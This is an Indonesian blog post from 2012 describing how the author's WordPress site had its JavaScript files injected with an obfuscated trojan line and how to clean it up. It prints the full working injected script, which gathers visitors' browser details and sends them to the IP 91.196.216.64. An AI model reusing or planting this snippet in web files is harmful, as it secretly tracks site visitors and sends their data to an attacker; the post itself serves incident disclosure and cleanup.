January 17, 2012 — Mengatasi injeksi/infeksi baris kode trojan di javascript. Kode berawalan var _0xdc8d yang mengumpulkan informasi pengguna dan mengirimkannya ke alamat 91.196.216.64. Mengatasi Kode Trojan yang Menginfeksi Javascript di WordPress ditulis oleh rismaka pada January 17, 2012. Berikut ulasan selengkapnya.
Beberapa hari yang lalu, sesuatu yang jahat telah menyerang blog ini dan blog-blog lain yang dihost di server rismaka.net. Dari penuturan mas Cahya, dua berkas javascript dari blog ini telah diinjeksi oleh kode trojan. Saya pernah memposting kasus ini di catatan ini.
Baris kode trojan dalam javascript
Kode trojan yang dimaksud adalah sebaris kode yang disisipkan oleh sesuatu (entah itu orang, aplikasi, atau sejenis peranti lunak) di berkas javascript (mempunyai ekstensi .js). Salah satu contoh kode tersebut adalah sebagai berikut:
var _0xdc8d=["x73x63x5Fx63x6F","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Fx6Cx6Fx72x44x65x70x74x68","x77x69x64x74x68","x68x65x69x67x68x74","x63x68x61x72x73x65x74","x6Cx6Fx63x61x74x69x6Fx6E","x72x65x66x65x72x72x65x72","x75x73x65x72x41x67x65x6Ex74","x73x63x72x69x70x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx39x31x2Ex31x39x36x2Ex32x31x36x2Ex36x34x2Fx73x2Ex70x68x70x3Fx72x65x66x3D","x26x63x6Cx73x3D","x26x73x77x3D","x26x73x68x3D","x26x64x63x3D","x26x6Cx63x3D","x26x75x61x3D","x68x65x61x64","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x61x70x70x65x6Ex64x43x68x69x6Cx64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
![]()
IMG Source: trojanhorseantiques.com
Kode tersebut mengumpulkan informasi dari pengguna yang mengakses blog ini baik berupa user agent yang digunakan, alamat IP, atau mungkin juga cookies. Bila anda pengguna Avast antivirus, maka Avast akan memunculkan pesan bahwa blog tersebut terinfeksi trojan, dan kemudian memblok akses kode tersebut ke informasi yang ada di peramban yang anda gunakan.
Diketahui dari beberapa sumber (github.com — Code compromised, hits 91.196.216.64 frequently, dan.cx — Pulling apart a WordPress hack, unobfuscating its code), menyebutkan bahwa kode trojan itu mengumpulkan informasi dari pengguna dan kemudian mengirimkannya ke alamat IP 91.196.216.64. Alamat itu berasal dari server di Rusia, negeri para peretas :P.
Kemarin malam, serangan itu terulang lagi. Parahnya serangan itu terjadi di hampir semua berkas javascript yang ada di theme maupun di Core WordPress (direktori /wp-admin/ dan /wp-include/) :O
Mengatasi kode trojan yang menginfeksi javascript
Untuk mengatasnya, tentunya kita harus menghapus baris kode trojan tersebut satu persatu. Namun bagi pengguna WordPress, kita dapat melenyapkannya dengan cara menginstal ulang WordPress.
Menginstal ulang WordPress hanya mengganti berkas javascript yang ada di core WordPress (direktori /wp-admin/ dan /wp-include/). Namun berkas javascript yang ada di direktori /wp-content/ masih terinfeksi. Kita harus mengeditnya satu persatu, dan kemudian menghapus baris kode trojan yang menginfeksinya.
Bila semua berkas javascript sudah bersih, hubungi layanan hosting yang anda gunakan untuk menambal celah yang memungkinkan serangan tersebut terulang di kemudian hari.
Untuk mencegah serangan yang bisa saja terjadi, ada baiknya lakukan saran-saran seperti yang dijelaskan di tulisan Mencegah injeksi kode trojan di berkas javascript (untuk sementara sedang dalam tahap penulisan). Tulisan tersebut hanya saran, karena ada beberapa poin yang tidak saya terapkan di blog ini.
Bagaimana dengan anda, apakah blog anda pernah terinfeksi oleh trojan juga? Bagi pengalaman anda di sini.